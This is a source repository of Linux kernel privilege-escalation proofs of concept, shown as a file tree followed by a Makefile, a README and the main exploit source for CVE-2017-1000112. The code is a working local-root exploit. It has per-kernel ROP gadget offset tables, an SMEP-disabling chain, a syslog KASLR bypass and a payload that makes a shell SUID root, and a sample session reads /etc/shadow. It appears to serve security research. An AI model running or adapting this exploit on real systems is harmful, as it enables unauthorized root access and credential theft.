├── 001-call_usermodehelper ├── .gitignore ├── Makefile ├── README.md └── poc.c ├── 002-simple_setattr ├── .gitignore ├── Makefile ├── README.md └── poc.c ├── 003-direct_inode_manipulation ├── .gitignore ├── Makefile ├── README.md └── poc.c ├── 004-cfi_bypass ├── .gitignore ├── Makefile ├── README.md ├── poc.c └── shellcode.c ├── 005-call_usermodehelper_ld_preload ├── .gitignore ├── Makefile ├── README.md ├── poc.c └── shellcode.c ├── 006-kprobes_disable ├── .gitignore ├── Makefile ├── README.md ├── poc.c └── shellcode.c ├── 007-direct_inode_manipulation_2 ├── .gitignore ├── Makefile ├── README.md ├── poc.c └── shellcode.c ├── CVE-2017-1000112 ├── README.md └── poc.c ├── README.md └── shell ├── shell.c └── shell_preload.c /001-call_usermodehelper/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shell 4 | -------------------------------------------------------------------------------- /001-call_usermodehelper/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = call_usermodehelper 2 | 3 | .PHONY: all 4 | all: poc.c ../shell/shell.c 5 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 0x%s\n", $$3, $$1)}' >poc.h 6 | echo "#define SHELL \"$(CURDIR)/shell\"" >>poc.h 7 | gcc ../shell/shell.c -o shell 8 | gcc poc.c -o poc 9 | 10 | .PHONY: clean 11 | clean: 12 | rm -f shell poc poc.h 13 | -------------------------------------------------------------------------------- /001-call_usermodehelper/README.md: -------------------------------------------------------------------------------- 1 | call_usermodehelper 2 | =================== 3 | 4 | The idea of using `call_usermodehelper()` function (UMH) is the following: 5 | 1) Create a shell binary 6 | 2) Exploit the vulnerability and use UMH to change shell's file properties so it will be owned by root:root with SUID bit set 7 | 8 | Here is the modified `get_root()` function of the original CVE-2017-1000112 exploit: 9 | 10 | ~~~ 11 | void get_root(void) { 12 | void (*call_usermodehelper)(const char *, void *, void *, int) = (void *)X_call_usermodehelper; 13 | char *chown[] = { (char []){ "/bin/chown" }, (char []){ "0:0" }, (char []){ SHELL }, NULL }; 14 | call_usermodehelper(chown[0], chown, NULL, 1); 15 | char *chmod[] = { (char []){ "/bin/chmod" }, (char []){ "+sx" }, (char []){ SHELL }, NULL }; 16 | call_usermodehelper(chmod[0], chmod, NULL, 1); 17 | } 18 | ~~~ 19 | -------------------------------------------------------------------------------- /001-call_usermodehelper/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | void get_root(void) { 166 | void (*call_usermodehelper)(const char *, void *, void *, int) = (void *)X_call_usermodehelper; 167 | char *chown[] = { (char []){ "/bin/chown" }, (char []){ "0:0" }, (char []){ SHELL }, NULL }; 168 | call_usermodehelper(chown[0], chown, NULL, 1); 169 | char *chmod[] = { (char []){ "/bin/chmod" }, (char []){ "+sx" }, (char []){ SHELL }, NULL }; 170 | call_usermodehelper(chmod[0], chmod, NULL, 1); 171 | } 172 | 173 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 174 | 175 | uint64_t saved_esp; 176 | 177 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 178 | // can be used to omit a function's prologue, so I had to use this weird 179 | // wrapper hack as a workaround. Note: Clang does support it, which means it 180 | // has better support of GCC attributes than GCC itself. Funny. 181 | void wrapper() { 182 | asm volatile (" \n\ 183 | payload: \n\ 184 | movq %%rbp, %%rax \n\ 185 | movq $0xffffffff00000000, %%rdx \n\ 186 | andq %%rdx, %%rax \n\ 187 | movq %0, %%rdx \n\ 188 | addq %%rdx, %%rax \n\ 189 | movq %%rax, %%rsp \n\ 190 | call get_root \n\ 191 | ret \n\ 192 | " : : "m"(saved_esp) : ); 193 | } 194 | 195 | void payload(); 196 | 197 | #define CHAIN_SAVE_ESP \ 198 | *stack++ = POP_RDI_RET; \ 199 | *stack++ = (uint64_t)&saved_esp; \ 200 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 201 | 202 | #define SMEP_MASK 0x100000 203 | 204 | #define CHAIN_DISABLE_SMEP \ 205 | *stack++ = MOV_RAX_CR4_RET; \ 206 | *stack++ = NEG_RAX_RET; \ 207 | *stack++ = POP_RCX_RET; \ 208 | *stack++ = SMEP_MASK; \ 209 | *stack++ = OR_RAX_RCX_RET; \ 210 | *stack++ = NEG_RAX_RET; \ 211 | *stack++ = XCHG_EAX_EDI_RET; \ 212 | *stack++ = MOV_CR4_RDI_RET; 213 | 214 | #define CHAIN_JMP_PAYLOAD \ 215 | *stack++ = POP_RCX_RET; \ 216 | *stack++ = (uint64_t)&payload; \ 217 | *stack++ = JMP_RCX; 218 | 219 | void mmap_stack() { 220 | uint64_t stack_aligned, stack_addr; 221 | int page_size, stack_size, stack_offset; 222 | uint64_t* stack; 223 | 224 | page_size = getpagesize(); 225 | 226 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 227 | stack_addr = stack_aligned - page_size * 4; 228 | stack_size = page_size * 8; 229 | stack_offset = XCHG_EAX_ESP_RET % page_size; 230 | 231 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 232 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 233 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 234 | perror("[-] mmap()"); 235 | exit(EXIT_FAILURE); 236 | } 237 | 238 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 239 | 240 | CHAIN_SAVE_ESP; 241 | CHAIN_DISABLE_SMEP; 242 | CHAIN_JMP_PAYLOAD; 243 | } 244 | 245 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 246 | 247 | #define SYSLOG_ACTION_READ_ALL 3 248 | #define SYSLOG_ACTION_SIZE_BUFFER 10 249 | 250 | void mmap_syslog(char** buffer, int* size) { 251 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 252 | if (*size == -1) { 253 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 254 | exit(EXIT_FAILURE); 255 | } 256 | 257 | *size = (*size / getpagesize() + 1) * getpagesize(); 258 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 259 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 260 | 261 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 262 | if (*size == -1) { 263 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 264 | exit(EXIT_FAILURE); 265 | } 266 | } 267 | 268 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 269 | const char* needle1 = "Freeing unused"; 270 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 271 | if (substr == NULL) { 272 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 273 | exit(EXIT_FAILURE); 274 | } 275 | 276 | int start = 0; 277 | int end = 0; 278 | for (end = start; substr[end] != '-'; end++); 279 | 280 | const char* needle2 = "ffffff"; 281 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 282 | if (substr == NULL) { 283 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 284 | exit(EXIT_FAILURE); 285 | } 286 | 287 | char* endptr = &substr[16]; 288 | unsigned long r = strtoul(&substr[0], &endptr, 16); 289 | 290 | r &= 0xffffffffff000000ul; 291 | 292 | return r; 293 | } 294 | 295 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 296 | const char* needle1 = "Freeing unused"; 297 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 298 | if (substr == NULL) { 299 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 300 | exit(EXIT_FAILURE); 301 | } 302 | 303 | int start = 0; 304 | int end = 0; 305 | for (start = 0; substr[start] != '-'; start++); 306 | for (end = start; substr[end] != '\n'; end++); 307 | 308 | const char* needle2 = "ffffff"; 309 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 310 | if (substr == NULL) { 311 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 312 | exit(EXIT_FAILURE); 313 | } 314 | 315 | char* endptr = &substr[16]; 316 | unsigned long r = strtoul(&substr[0], &endptr, 16); 317 | 318 | r &= 0xfffffffffff00000ul; 319 | r -= 0x1000000ul; 320 | 321 | return r; 322 | } 323 | 324 | unsigned long get_kernel_addr() { 325 | char* syslog; 326 | int size; 327 | mmap_syslog(&syslog, &size); 328 | 329 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 330 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 331 | return get_kernel_addr_trusty(syslog, size); 332 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 333 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 334 | return get_kernel_addr_xenial(syslog, size); 335 | 336 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 341 | 342 | struct ubuf_info { 343 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 344 | uint64_t ctx; // void * 345 | uint64_t desc; // unsigned long 346 | }; 347 | 348 | struct skb_shared_info { 349 | uint8_t nr_frags; // unsigned char 350 | uint8_t tx_flags; // __u8 351 | uint16_t gso_size; // unsigned short 352 | uint16_t gso_segs; // unsigned short 353 | uint16_t gso_type; // unsigned short 354 | uint64_t frag_list; // struct sk_buff * 355 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 356 | uint32_t tskey; // u32 357 | uint32_t ip6_frag_id; // __be32 358 | uint32_t dataref; // atomic_t 359 | uint64_t destructor_arg; // void * 360 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 361 | }; 362 | 363 | struct ubuf_info ui; 364 | 365 | void init_skb_buffer(char* buffer, unsigned long func) { 366 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 367 | memset(ssi, 0, sizeof(*ssi)); 368 | 369 | ssi->tx_flags = 0xff; 370 | ssi->destructor_arg = (uint64_t)&ui; 371 | ssi->nr_frags = 0; 372 | ssi->frag_list = 0; 373 | 374 | ui.callback = func; 375 | } 376 | 377 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 378 | 379 | #define SHINFO_OFFSET 3164 380 | 381 | void oob_execute(unsigned long payload) { 382 | char buffer[4096]; 383 | memset(&buffer[0], 0x42, 4096); 384 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 385 | 386 | int s = socket(PF_INET, SOCK_DGRAM, 0); 387 | if (s == -1) { 388 | perror("[-] socket()"); 389 | exit(EXIT_FAILURE); 390 | } 391 | 392 | struct sockaddr_in addr; 393 | memset(&addr, 0, sizeof(addr)); 394 | addr.sin_family = AF_INET; 395 | addr.sin_port = htons(8000); 396 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 397 | 398 | if (connect(s, (void*)&addr, sizeof(addr))) { 399 | perror("[-] connect()"); 400 | exit(EXIT_FAILURE); 401 | } 402 | 403 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 404 | int rv = send(s, buffer, size, MSG_MORE); 405 | if (rv != size) { 406 | perror("[-] send()"); 407 | exit(EXIT_FAILURE); 408 | } 409 | 410 | int val = 1; 411 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 412 | if (rv != 0) { 413 | perror("[-] setsockopt(SO_NO_CHECK)"); 414 | exit(EXIT_FAILURE); 415 | } 416 | 417 | send(s, buffer, 1, 0); 418 | 419 | close(s); 420 | } 421 | 422 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 423 | 424 | #define CHUNK_SIZE 1024 425 | 426 | int read_file(const char* file, char* buffer, int max_length) { 427 | int f = open(file, O_RDONLY); 428 | if (f == -1) 429 | return -1; 430 | int bytes_read = 0; 431 | while (true) { 432 | int bytes_to_read = CHUNK_SIZE; 433 | if (bytes_to_read > max_length - bytes_read) 434 | bytes_to_read = max_length - bytes_read; 435 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 436 | if (rv == -1) 437 | return -1; 438 | bytes_read += rv; 439 | if (rv == 0) 440 | return bytes_read; 441 | } 442 | } 443 | 444 | #define LSB_RELEASE_LENGTH 1024 445 | 446 | void get_distro_codename(char* output, int max_length) { 447 | char buffer[LSB_RELEASE_LENGTH]; 448 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 449 | if (length == -1) { 450 | perror("[-] open/read(/etc/lsb-release)"); 451 | exit(EXIT_FAILURE); 452 | } 453 | const char *needle = "DISTRIB_CODENAME="; 454 | int needle_length = strlen(needle); 455 | char* found = memmem(&buffer[0], length, needle, needle_length); 456 | if (found == NULL) { 457 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 458 | exit(EXIT_FAILURE); 459 | } 460 | int i; 461 | for (i = 0; found[needle_length + i] != '\n'; i++) { 462 | assert(i < max_length); 463 | assert((found - &buffer[0]) + needle_length + i < length); 464 | output[i] = found[needle_length + i]; 465 | } 466 | } 467 | 468 | void get_kernel_version(char* output, int max_length) { 469 | struct utsname u; 470 | int rv = uname(&u); 471 | if (rv != 0) { 472 | perror("[-] uname())"); 473 | exit(EXIT_FAILURE); 474 | } 475 | assert(strlen(u.release) <= max_length); 476 | strcpy(&output[0], u.release); 477 | } 478 | 479 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 480 | 481 | #define DISTRO_CODENAME_LENGTH 32 482 | #define KERNEL_VERSION_LENGTH 32 483 | 484 | void detect_versions() { 485 | char codename[DISTRO_CODENAME_LENGTH]; 486 | char version[KERNEL_VERSION_LENGTH]; 487 | 488 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 489 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 490 | 491 | int i; 492 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 493 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 494 | strcmp(&version[0], kernels[i].version) == 0) { 495 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 496 | kernel = i; 497 | return; 498 | } 499 | } 500 | 501 | printf("[-] kernel version not recognized\n"); 502 | exit(EXIT_FAILURE); 503 | } 504 | 505 | #define PROC_CPUINFO_LENGTH 4096 506 | 507 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 508 | int smap_smep_enabled() { 509 | char buffer[PROC_CPUINFO_LENGTH]; 510 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 511 | if (length == -1) { 512 | perror("[-] open/read(/proc/cpuinfo)"); 513 | exit(EXIT_FAILURE); 514 | } 515 | int rv = 0; 516 | char* found = memmem(&buffer[0], length, "smep", 4); 517 | if (found != NULL) 518 | rv += 1; 519 | found = memmem(&buffer[0], length, "smap", 4); 520 | if (found != NULL) 521 | rv += 2; 522 | return rv; 523 | } 524 | 525 | void check_smep_smap() { 526 | int rv = smap_smep_enabled(); 527 | if (rv >= 2) { 528 | printf("[-] SMAP detected, no bypass available\n"); 529 | exit(EXIT_FAILURE); 530 | } 531 | #if !ENABLE_SMEP_BYPASS 532 | if (rv >= 1) { 533 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 534 | exit(EXIT_FAILURE); 535 | } 536 | #endif 537 | } 538 | 539 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 540 | 541 | static bool write_file(const char* file, const char* what, ...) { 542 | char buf[1024]; 543 | va_list args; 544 | va_start(args, what); 545 | vsnprintf(buf, sizeof(buf), what, args); 546 | va_end(args); 547 | 